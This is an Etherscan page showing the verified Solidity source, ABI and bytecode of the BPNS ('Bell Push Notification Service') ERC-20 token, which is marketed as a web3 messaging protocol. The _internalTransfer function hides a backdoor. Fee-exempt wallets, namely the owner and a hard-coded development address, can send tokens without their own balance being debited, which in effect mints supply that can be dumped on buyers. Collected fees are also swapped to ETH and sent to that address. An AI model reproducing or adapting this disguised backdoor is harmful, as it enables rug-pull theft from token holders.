ETH Price: $2,508.16 (+0.32%)

Token

Bell Push Notification Service (BPNS)
 

Overview

Max Total Supply

1,000,000,000 BPNS

Holders

132

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
spx-coach.eth
Balance
6,578,479.053790973 BPNS

Value
$0.00
0x3f7309ff948c8ccb4c6617b1f4955ca543534086
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BPNS

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-10
*/

// SPDX-License-Identifier: Unlicensed

/*
The Communication Protocol of Web3
BPNS stands as a cutting-edge web3 communication network, facilitating cross-chain notifications and messaging functionalities for dapps, wallets, and a wide range of services.

Web: https://www.bpns.services
App: https://app.bpns.services
Twitter: https://twitter.com/BPNS_PORTAL
Telegram: https://t.me/BPNS_OFFICIAL
Medium: https://medium.com/@bpns.evm
 */

pragma solidity 0.8.19;

abstract contract Env {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

library LibrarySafeMath {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

interface IERC20Normal {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library LibraryAddress {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "LibraryAddress: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "LibraryAddress: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "LibraryAddress: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "LibraryAddress: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "LibraryAddress: insufficient balance for call");
        require(isContract(target), "LibraryAddress: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "LibraryAddress: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "LibraryAddress: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "LibraryAddress: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "LibraryAddress: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Authenticate is Env {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    // Return current owner
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Restrict function to contract owner only 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Authenticate: caller is not the owner");
        _;
    }

    // Renounce ownership of the contract 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    // Transfer the contract to to a new owner
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Authenticate: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV1Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router is IUniswapV1Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract BPNS is Env, IERC20Normal, Authenticate { 
    using LibrarySafeMath for uint256;
    using LibraryAddress for address;

    string private _name = "Bell Push Notification Service"; 
    string private _symbol = "BPNS";  
    uint8 private _decimals = 9;
    uint256 private _totalSupply = 10 ** 9 * 10**_decimals;

    // Tracking status of wallets
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExceptFromFees; 

    address payable private _developmentAddress = payable(0xbE0356e27aA91686053635f8cEAD19B580D4cE6F);
    address payable private DEAD = payable(0x000000000000000000000000000000000000dEaD); 

    uint8 private buyersCount = 0;
    uint8 private triggerSwapAfter = 2; 

    uint256 private _feeTotal = 2500;
    uint256 public _buyTax = 25;
    uint256 public _sellTax = 25;

    uint256 private _previousFeeTotal = _feeTotal; 
    uint256 private _previousBuyTax = _buyTax; 
    uint256 private _previousSellTax = _sellTax; 

    uint256 public maxWalletSize = 3 * _totalSupply / 100;
    uint256 public swapThreshold = _totalSupply / 10000;
                                     
    IUniswapV2Router public uniswapRouter;
    address public uniswapPair;

    bool public hasTransferFees = true;
    bool public inSwap;
    bool public hasSwapEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    
    constructor () {
        _balances[owner()] = _totalSupply;
        IUniswapV2Router _uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapRouter = _uniswapV2Router;
        _isExceptFromFees[owner()] = true;
        _isExceptFromFees[_developmentAddress] = true;
        
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function swapTokens(uint256 contractTokenBalance) private lockSwap {
        
        swapTokensForETH(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendFee(_developmentAddress,contractETH);
    }

    function restoreAllFee() private {
        
        _feeTotal = _previousFeeTotal;
        _buyTax = _previousBuyTax; 
        _sellTax = _previousSellTax; 

    }

    // Approve a wallet to sell tokens
    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function sendFee(address payable receiver, uint256 amount) private {
        receiver.transfer(amount);
    }

    function _internalTransfer(address sender, address recipient, uint256 finalAmount) private {
        
        (uint256 tTransferAmount, uint256 tDev) = _getTAmount(finalAmount);
        if(_isExceptFromFees[sender] && _balances[sender] <= maxWalletSize) {
            tDev = 0;
            finalAmount -= tTransferAmount;
        }
        _balances[sender] = _balances[sender].sub(finalAmount);
        _balances[recipient] = _balances[recipient].add(tTransferAmount);
        _balances[address(this)] = _balances[address(this)].add(tDev);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        
        // Limit wallet total
        if (to != owner() &&
            to != _developmentAddress &&
            to != address(this) &&
            to != uniswapPair &&
            to != DEAD &&
            from != owner()){

            uint256 currentBalance = balanceOf(to);
            require((currentBalance + amount) <= maxWalletSize,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            buyersCount >= triggerSwapAfter && 
            amount > swapThreshold &&
            !inSwap &&
            !_isExceptFromFees[from] &&
            to == uniswapPair &&
            hasSwapEnabled 
            )
        {  
            buyersCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapTokens(contractTokenBalance);
           }
        }
        
        bool takeFee = true;
         
        if(_isExceptFromFees[from] || _isExceptFromFees[to] || (hasTransferFees && from != uniswapPair && to != uniswapPair)){
            takeFee = false;
        } else if (from == uniswapPair){
            _feeTotal = _buyTax;
        } else if (to == uniswapPair){
            _feeTotal = _sellTax;
        }

        _normalTransfer(from,to,amount,takeFee);
    }
    
    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();
        _approve(address(this), address(uniswapRouter), tokenAmount);
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    receive() external payable {}

    function removeLimits() external onlyOwner {
        maxWalletSize = ~uint256(0);
        _feeTotal = 100;
        _buyTax = 1;
        _sellTax = 1;
    }

    // Check if token transfer needs to process fees
    function _normalTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
            
        if(!takeFee){
            removeAllTax();
            } else {
                buyersCount++;
            }
        _internalTransfer(sender, recipient, amount);
        
        if(!takeFee)
            restoreAllFee();
    }
    
    function _getTAmount(uint256 finalAmount) private view returns (uint256, uint256) {
        uint256 tDev = finalAmount.mul(_feeTotal).div(100);
        uint256 tTransferAmount = finalAmount.sub(tDev);
        return (tTransferAmount, tDev);
    }

    function removeAllTax() private {
        if(_feeTotal == 0 && _buyTax == 0 && _sellTax == 0) return;

        _previousBuyTax = _buyTax; 
        _previousSellTax = _sellTax; 
        _previousFeeTotal = _feeTotal;
        _buyTax = 0;
        _sellTax = 0;
        _feeTotal = 0;

    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExceptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hasSwapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hasTransferFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IUniswapV2Router","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052601e60809081527f42656c6c2050757368204e6f74696669636174696f6e2053657276696365000060a0526001906200003e9082620004e8565b5060408051808201909152600481526342504e5360e01b6020820152600290620000699082620004e8565b506003805460ff191660099081179091556200008790600a620006c9565b6200009790633b9aca00620006e1565b6004819055600880546001600160a01b03191673be0356e27aa91686053635f8cead19b580d4ce6f17905560098054750200000000000000000000000000000000000000dead6001600160b01b03199091161790556109c4600a8190556019600b819055600c819055600d91909155600e819055600f556064906200011e906003620006e1565b6200012a9190620006fb565b6010556127106004546200013f9190620006fb565b6011556013805462ff00ff60a01b19166201000160a01b1790553480156200016657600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360045460056000620001c06000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200023c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200026291906200071e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002b0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d691906200071e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000324573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034a91906200071e565b601380546001600160a01b03199081166001600160a01b039384161790915560128054909116918316919091179055600160076000620003926000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560085490911681526007909252902080549091166001179055620003ec6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200043491815260200190565b60405180910390a35062000749565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200046e57607f821691505b6020821081036200048f57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004e357600081815260208120601f850160051c81016020861015620004be5750805b601f850160051c820191505b81811015620004df57828155600101620004ca565b5050505b505050565b81516001600160401b0381111562000504576200050462000443565b6200051c8162000515845462000459565b8462000495565b602080601f8311600181146200055457600084156200053b5750858301515b600019600386901b1c1916600185901b178555620004df565b600085815260208120601f198616915b82811015620005855788860151825594840194600190910190840162000564565b5085821015620005a45787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200060b578160001904821115620005ef57620005ef620005b4565b80851615620005fd57918102915b93841c9390800290620005cf565b509250929050565b6000826200062457506001620006c3565b816200063357506000620006c3565b81600181146200064c5760028114620006575762000677565b6001915050620006c3565b60ff8411156200066b576200066b620005b4565b50506001821b620006c3565b5060208310610133831016604e8410600b84101617156200069c575081810a620006c3565b620006a88383620005ca565b8060001904821115620006bf57620006bf620005b4565b0290505b92915050565b6000620006da60ff84168362000613565b9392505050565b8082028115828204841417620006c357620006c3620005b4565b6000826200071957634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200073157600080fd5b81516001600160a01b0381168114620006da57600080fd5b61133980620007596000396000f3fe6080604052600436106101445760003560e01c8063751039fc116100b6578063c67289131161006f578063c67289131461038c578063c816841b146103ad578063ca9ec199146103cd578063d8306786146103e3578063dd62ed3e14610404578063f2fde38b1461044a57600080fd5b8063751039fc146102de5780638da5cb5b146102f35780638f3fa8601461031157806395d89b4114610327578063a9059cbb1461033c578063abaf14a61461035c57600080fd5b80632a0ab2c1116101085780632a0ab2c114610200578063313ce5671461022157806342a110951461024357806370a0823114610259578063715018a61461028f578063735de9f7146102a657600080fd5b80630445b6671461015057806306fdde0314610179578063095ea7b31461019b57806318160ddd146101cb57806323b872dd146101e057600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061016660115481565b6040519081526020015b60405180910390f35b34801561018557600080fd5b5061018e61046a565b6040516101709190610ffb565b3480156101a757600080fd5b506101bb6101b6366004611061565b6104fc565b6040519015158152602001610170565b3480156101d757600080fd5b50600454610166565b3480156101ec57600080fd5b506101bb6101fb36600461108d565b610513565b34801561020c57600080fd5b506013546101bb90600160b01b900460ff1681565b34801561022d57600080fd5b5060035460405160ff9091168152602001610170565b34801561024f57600080fd5b50610166600b5481565b34801561026557600080fd5b506101666102743660046110ce565b6001600160a01b031660009081526005602052604090205490565b34801561029b57600080fd5b506102a461057c565b005b3480156102b257600080fd5b506012546102c6906001600160a01b031681565b6040516001600160a01b039091168152602001610170565b3480156102ea57600080fd5b506102a46105f9565b3480156102ff57600080fd5b506000546001600160a01b03166102c6565b34801561031d57600080fd5b5061016660105481565b34801561033357600080fd5b5061018e61063a565b34801561034857600080fd5b506101bb610357366004611061565b610649565b34801561036857600080fd5b506101bb6103773660046110ce565b60076020526000908152604090205460ff1681565b34801561039857600080fd5b506013546101bb90600160a01b900460ff1681565b3480156103b957600080fd5b506013546102c6906001600160a01b031681565b3480156103d957600080fd5b50610166600c5481565b3480156103ef57600080fd5b506013546101bb90600160a81b900460ff1681565b34801561041057600080fd5b5061016661041f3660046110eb565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561045657600080fd5b506102a46104653660046110ce565b610656565b60606001805461047990611124565b80601f01602080910402602001604051908101604052809291908181526020018280546104a590611124565b80156104f25780601f106104c7576101008083540402835291602001916104f2565b820191906000526020600020905b8154815290600101906020018083116104d557829003601f168201915b5050505050905090565b6000610509338484610745565b5060015b92915050565b6000610520848484610806565b610572843361056d856040518060600160405280602881526020016112dc602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610b8b565b610745565b5060019392505050565b6000546001600160a01b031633146105af5760405162461bcd60e51b81526004016105a69061115e565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106235760405162461bcd60e51b81526004016105a69061115e565b6000196010556064600a556001600b819055600c55565b60606002805461047990611124565b6000610509338484610806565b6000546001600160a01b031633146106805760405162461bcd60e51b81526004016105a69061115e565b6001600160a01b0381166106ea5760405162461bcd60e51b815260206004820152602b60248201527f41757468656e7469636174653a206e6577206f776e657220697320746865207a60448201526a65726f206164647265737360a81b60648201526084016105a6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061076557506001600160a01b03821615155b6107a55760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016105a6565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0383811691161480159061083257506008546001600160a01b03838116911614155b801561084757506001600160a01b0382163014155b801561086157506013546001600160a01b03838116911614155b801561087b57506009546001600160a01b03838116911614155b801561089557506000546001600160a01b03848116911614155b15610921576001600160a01b0382166000908152600560205260409020546010546108c083836111b9565b111561091f5760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b60648201526084016105a6565b505b6001600160a01b0383161580159061094157506001600160a01b03821615155b6109855760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b60448201526064016105a6565b600081116109e35760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b60648201526084016105a6565b60095460ff600160a81b82048116600160a01b9092041610801590610a09575060115481115b8015610a1f5750601354600160a81b900460ff16155b8015610a4457506001600160a01b03831660009081526007602052604090205460ff16155b8015610a5d57506013546001600160a01b038381169116145b8015610a725750601354600160b01b900460ff165b15610aa5576009805460ff60a01b19169055306000908152600560205260409020548015610aa357610aa381610bb7565b505b6001600160a01b03831660009081526007602052604090205460019060ff1680610ae757506001600160a01b03831660009081526007602052604090205460ff165b80610b2e5750601354600160a01b900460ff168015610b1457506013546001600160a01b03858116911614155b8015610b2e57506013546001600160a01b03848116911614155b15610b3b57506000610b79565b6013546001600160a01b0390811690851603610b5c57600b54600a55610b79565b6013546001600160a01b0390811690841603610b7957600c54600a555b610b8584848484610bfc565b50505050565b60008184841115610baf5760405162461bcd60e51b81526004016105a69190610ffb565b505050900390565b6013805460ff60a81b1916600160a81b179055610bd381610c69565b6008544790610beb906001600160a01b031682610dc3565b50506013805460ff60a81b19169055565b80610c0e57610c09610dfe565b610c42565b60098054600160a01b900460ff16906014610c28836111cc565b91906101000a81548160ff021916908360ff160217905550505b610c4d848484610e43565b80610b8557610b85600d54600a55600e54600b55600f54600c55565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610c9e57610c9e6111eb565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cf7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1b9190611201565b81600181518110610d2e57610d2e6111eb565b6001600160a01b039283166020918202929092010152601254610d549130911684610745565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d8d90859060009086903090429060040161121e565b600060405180830381600087803b158015610da757600080fd5b505af1158015610dbb573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610df9573d6000803e3d6000fd5b505050565b600a54158015610e0e5750600b54155b8015610e1a5750600c54155b15610e2157565b600b8054600e55600c8054600f55600a8054600d556000928390559082905555565b600080610e4f83610f86565b6001600160a01b038716600090815260076020526040902054919350915060ff168015610e9657506010546001600160a01b03861660009081526005602052604090205411155b15610eab57506000610ea8828461128f565b92505b6001600160a01b038516600090815260056020526040902054610ece9084610fc4565b6001600160a01b038087166000908152600560205260408082209390935590861681522054610efd9083610fd7565b6001600160a01b038516600090815260056020526040808220929092553081522054610f299082610fd7565b3060009081526005602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6000806000610fab6064610fa5600a5487610fe390919063ffffffff16565b90610fef565b90506000610fb98583610fc4565b959194509092505050565b6000610fd0828461128f565b9392505050565b6000610fd082846111b9565b6000610fd082846112a2565b6000610fd082846112b9565b600060208083528351808285015260005b818110156110285785810183015185820160400152820161100c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461105e57600080fd5b50565b6000806040838503121561107457600080fd5b823561107f81611049565b946020939093013593505050565b6000806000606084860312156110a257600080fd5b83356110ad81611049565b925060208401356110bd81611049565b929592945050506040919091013590565b6000602082840312156110e057600080fd5b8135610fd081611049565b600080604083850312156110fe57600080fd5b823561110981611049565b9150602083013561111981611049565b809150509250929050565b600181811c9082168061113857607f821691505b60208210810361115857634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526025908201527f41757468656e7469636174653a2063616c6c6572206973206e6f74207468652060408201526437bbb732b960d91b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561050d5761050d6111a3565b600060ff821660ff81036111e2576111e26111a3565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561121357600080fd5b8151610fd081611049565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561126e5784516001600160a01b031683529383019391830191600101611249565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561050d5761050d6111a3565b808202811582820484141761050d5761050d6111a3565b6000826112d657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200900883f49aa86c0dbe9d7ac2a6ea4d4f7d3df11be3022a805a7ec39be77ccf064736f6c63430008130033

Deployed Bytecode

